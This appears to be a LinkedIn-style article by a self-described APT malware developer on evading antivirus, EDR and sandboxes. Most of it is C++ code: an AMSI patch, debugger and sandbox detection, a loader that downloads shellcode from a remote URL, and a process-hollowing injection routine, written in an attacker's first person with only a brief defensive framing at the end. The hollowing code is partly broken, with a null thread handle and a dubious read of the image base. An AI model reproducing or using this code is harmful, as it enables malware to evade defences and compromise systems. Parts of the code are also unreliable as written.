Mastering Evasion: Techniques for Bypassing AVs, EDRs, and Sandboxes
Abhishek sharma
SOC Analyst @ CISAI CEH | CHFI | Malware Developer | Red teamer | Security researcher
In the ever-evolving landscape of cybersecurity, the primary objective for an Advanced Persistent Threat (APT) malware developer is to craft payloads that remain undetected while achieving their goals of stealthy infiltration and persistent access. Unlike typical malware, which may rely on brute-force techniques or simple obfuscation, APTs are designed with sophistication and precision to evade advanced security mechanisms and maintain a foothold in a target environment.
As an APT malware developer, the challenge is not only to breach initial defenses but also to ensure that the payload can navigate through increasingly stringent security measures. The modern cybersecurity landscape is equipped with advanced defenses such as antivirus (AV) solutions, endpoint detection and response (EDR) systems, and sandbox environments. Each of these systems poses a significant hurdle, requiring a nuanced approach to malware development and evasion.
To achieve this, I employ a range of advanced techniques to ensure that my payloads remain undetected and operational. These techniques involve disabling or bypassing security features, evading analysis tools, and dynamically loading or executing shellcode to minimize static signatures. The sophistication of these methods reflects the meticulous planning and execution required to outmaneuver security professionals and maintain stealth.
The following sections delve into the specific strategies and implementations used to enhance the stealthiness of malware, including disabling Anti-Malware Scan Interface (AMSI), employing anti-debugging techniques, detecting sandbox environments, and executing dynamic shellcode loading and process hollowing. Understanding and mastering these advanced evasion techniques are crucial for APT developers aiming to achieve successful infiltration while avoiding detection and analysis.
This exploration provides insights into the methods employed to circumvent robust security measures and maintain a low profile, emphasizing the intricate dance between offensive tactics and defensive countermeasures in the world of cybersecurity.
Disabling AMSI (Anti-Malware Scan Interface)
AMSI is a powerful feature in Windows designed to scan and block malicious scripts. To circumvent this, I disable AMSI's scanning capabilities:
Implementation:
void disableAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) {
std::cerr << "Failed to load AMSI DLL." << std::endl;
return;
}
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) {
std::cerr << "Failed to get AMSI Scan Buffer address." << std::endl;
return;
}
DWORD oldProtect;
if (!VirtualProtect(pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "Failed to change memory protection." << std::endl;
return;
}
*(BYTE*)pAmsiScanBuffer = 0xC3; // RET instruction
VirtualProtect(pAmsiScanBuffer, 1, oldProtect, &oldProtect);
}
Details:
Anti-Debugging Techniques
Detecting if my code is under debugging helps in avoiding analysis. The IsDebuggerPresent function is a simple yet effective method:
Implementation:
bool isDebuggerPresent() {
return IsDebuggerPresent();
}
Details:
Sandbox Detection Through Artifact Checks
To ensure that my code isn't running in a sandbox, I check for specific artifacts associated with virtual environments:
Implementation:
bool checkSandboxArtifacts() {
std::vector<const char*> artifacts = {
"C:\\windows\\system32\\drivers\\vmmouse.sys",
"C:\\windows\\system32\\drivers\\vmhgfs.sys",
"C:\\windows\\system32\\drivers\\VBoxMouse.sys",
"C:\\windows\\system32\\drivers\\VBoxSF.sys"
};
for (const auto& artifact : artifacts) {
HANDLE hFile = CreateFileA(artifact, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
return false;
}
}
return true;
}
Details:
System Metrics Check
To further avoid running in virtualized or remote environments, I use system metrics:
Implementation:
bool checkSystemMetrics() {
return GetSystemMetrics(SM_REMOTESESSION) == 0;
}
Details:
Parent Process Check
Identifying if the parent process is a known debugger helps in avoiding debugging environments:
Implementation:
bool checkParentProcess() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create process snapshot." << std::endl;
return false;
}
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == GetCurrentProcessId()) {
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ParentProcessID);
if (!hParent) {
std::cerr << "Failed to open parent process." << std::endl;
CloseHandle(hSnapshot);
return false;
}
WCHAR parentName[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hParent, 0, parentName, &size) && wcsstr(parentName, L"WINDBG.EXE")) {
CloseHandle(hParent);
CloseHandle(hSnapshot);
return true;
}
CloseHandle(hParent);
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return false;
}
Details:
Running Processes Detection
Scanning for the presence of analysis tools helps avoid running in an environment where the payload might be analyzed:
Implementation:
bool checkRunningProcesses() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create process snapshot." << std::endl;
return false;
}
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (wcsstr(pe32.szExeFile, L"WIRESHARK.EXE") || wcsstr(pe32.szExeFile, L"PROCEXP.EXE")) {
CloseHandle(hSnapshot);
return true;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return false;
}
Details:
Dynamic Shellcode Loading
Dynamic shellcode loading is a technique used to fetch and execute shellcode from a remote source at runtime rather than embedding it directly into the executable. This approach enhances stealth by avoiding the presence of static shellcode in the binary, making it less detectable by signature-based antivirus systems.
How It Works
Detailed Steps in Code
Loading Shellcode from URL:
BOOL LoadShellcodeFromURL(const std::string& url, std::vector<uint8_t>& shellcode) {
HINTERNET hInternet = InternetOpen(TEXT("ShellcodeLoader"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
LogError("InternetOpen failed", GetLastError());
return FALSE;
}
HINTERNET hConnect = InternetOpenUrl(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hConnect) {
LogError("InternetOpenUrl failed", GetLastError());
InternetCloseHandle(hInternet);
return FALSE;
}
std::vector<uint8_t> buffer(4096);
DWORD bytesRead = 0;
BOOL success = TRUE;
while (InternetReadFile(hConnect, buffer.data(), (DWORD)buffer.size(), &bytesRead) && bytesRead > 0) {
shellcode.insert(shellcode.end(), buffer.begin(), buffer.begin() + bytesRead);
}
if (GetLastError() != ERROR_SUCCESS) {
LogError("InternetReadFile failed", GetLastError());
success = FALSE;
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return success;
}
Explanation:
Advantages
Process Hollowing and Shellcode Injection
Process hollowing is a sophisticated technique where the memory space of a legitimate process is manipulated to inject and execute malicious shellcode. This technique enables an attacker to run their code in the context of a legitimate process, which can help evade detection.
How It Works
Detailed Steps in Code
BOOL HollowProcessAndInjectShellcode(DWORD pid, const std::vector<uint8_t>& shellcode) {
typedef HANDLE(WINAPI* pOpenProcess)(DWORD, BOOL, DWORD);
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
typedef BOOL(WINAPI* pGetThreadContext)(HANDLE, LPCONTEXT);
typedef BOOL(WINAPI* pSetThreadContext)(HANDLE, const CONTEXT*);
typedef LPVOID(WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef DWORD(WINAPI* pResumeThread)(HANDLE);
pOpenProcess pOpenProc = (pOpenProcess)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenProcess");
pNtUnmapViewOfSection pNtUnmapView = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
pGetThreadContext pGetThreadCtx = (pGetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetThreadContext");
pSetThreadContext pSetThreadCtx = (pSetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "SetThreadContext");
pVirtualAllocEx pVirtAllocEx = (pVirtualAllocEx)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory pWriteProcMem = (pWriteProcessMemory)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pResumeThread pResumeThrd = (pResumeThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "ResumeThread");
HANDLE hProcess = pOpenProc(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
LogError("Failed to open process", GetLastError());
return FALSE;
}
HANDLE hThread = NULL; // Adjust this as needed
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
if (!pGetThreadCtx(hThread, &ctx)) {
LogError("Failed to get thread context", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
PVOID imageBaseAddress;
SIZE_T bytesRead;
if (!ReadProcessMemory(hProcess, (PBYTE)ctx.Rip + 0x10, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
LogError("Failed to read process memory", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (pNtUnmapView(hProcess, imageBaseAddress) != STATUS_SUCCESS) {
LogError("Failed to unmap process section", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
PVOID remoteShellcode = pVirtAllocEx(hProcess, imageBaseAddress, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteShellcode) {
LogError("Failed to allocate memory in target process", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (!pWriteProcMem(hProcess, remoteShellcode, shellcode.data(), shellcode.size(), NULL)) {
LogError("Failed to write shellcode to target process", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
#ifdef _WIN64
ctx.Rip = (DWORD64)remoteShellcode;
#else
ctx.Eip = (DWORD)remoteShellcode;
#endif
if (!pSetThreadCtx(hThread, &ctx)) {
LogError("Failed to set thread context", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (pResumeThrd(hThread) == (DWORD)-1) {
LogError("Failed to resume thread", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
Explanation:
Conclusion
Crafting malware that successfully evades detection demands a profound mastery of system and security mechanisms. By employing advanced techniques such as disabling AMSI, detecting debugging and sandbox environments, and dynamically executing shellcode, I am able to ensure that my payloads operate with heightened stealth and effectiveness. Mastering these sophisticated methods not only enhances the likelihood of successful execution but also provides valuable insights into bolstering defenses against such complex attacks.
The techniques discussed exemplify the lengths to which attackers will go to bypass security measures and achieve their objectives. For cybersecurity professionals, understanding these advanced evasion strategies is essential for developing robust defenses and maintaining resilience against evolving threats.
In the ever-evolving landscape of cybersecurity, staying informed about cutting-edge evasion techniques is critical for both offense and defense. I invite you to connect and share your thoughts on these methods and other cybersecurity topics, fostering a collaborative effort to strengthen our defenses and stay ahead of emerging threats.
System Specialist at Moodys | RPA | Tech
6 个月Good to know!
Analyst @ Goldman Sachs - Asset and Wealth Management | Monitoring & Testing
6 个月Very helpful!!!